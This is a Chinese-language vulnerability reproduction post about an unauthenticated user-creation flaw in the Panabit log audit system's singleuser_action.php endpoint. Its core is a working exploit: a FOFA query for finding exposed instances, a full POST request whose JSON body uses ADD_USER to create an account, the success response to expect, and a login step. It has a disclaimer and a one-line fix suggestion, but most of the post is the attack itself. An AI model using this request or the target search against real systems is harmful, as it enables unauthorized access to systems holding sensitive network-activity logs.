前言

此文章仅用于技术交流，严禁用于对外发起恶意攻击！！！

一、产品简介

Panabit日志审计系统是一款专门设计用来收集并处理用户所有网络活动的日志数据，包括会话数据、事件数据和身份数据。该系统不仅将大数据采集、大数据分析以及大数据整合应用于公安、高校、政企等行业的日志留存中，还支持对用户上网行为进行审计。

二、漏洞描述

该系统 singleuser_action.php 接口存在漏洞，可以添加任意用户

三、影响范围

未知

四、复现环境

FOFA：app=“Panabit-Panalog”

五、漏洞复现

1.访问存在漏洞的网站，抓包

2.POC

POST /singleuser_action.php HTTP/1.1
Host: ip
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 574

{ "syncInfo": { "user": { "userId": "119", "userName": "119", "employeeId": "119", "departmentId": "119", "departmentName": "119", "coporationId": "119", "corporationName": "119", "userSex": "1",  "userDuty": "119", "userBirthday": "119", "userPost": "119", "userPostCode": "119", "userAlias": "119", "userRank": "119", "userPhone": "119", "userHomeAddress": "119", "userMobilePhone": "119", "userMailAddress": "119", "userMSN": "119", "userNt": "119", "userCA": "119", "userPwd": "119", "userClass": "119", "parentId": "119", "bxlx": "119" },"operationType": "ADD_USER" } }

3.执行poc，若回显{“yn”:“yes”,“str”:“OK”},则表示添加成功

4.登录

六、修复建议

将系统升级到最新版本或者删除singleuser_action.php文件

参考链接

https://mp.weixin.qq.com/s/PgKDQcA2v95ySH0FHHdtoQ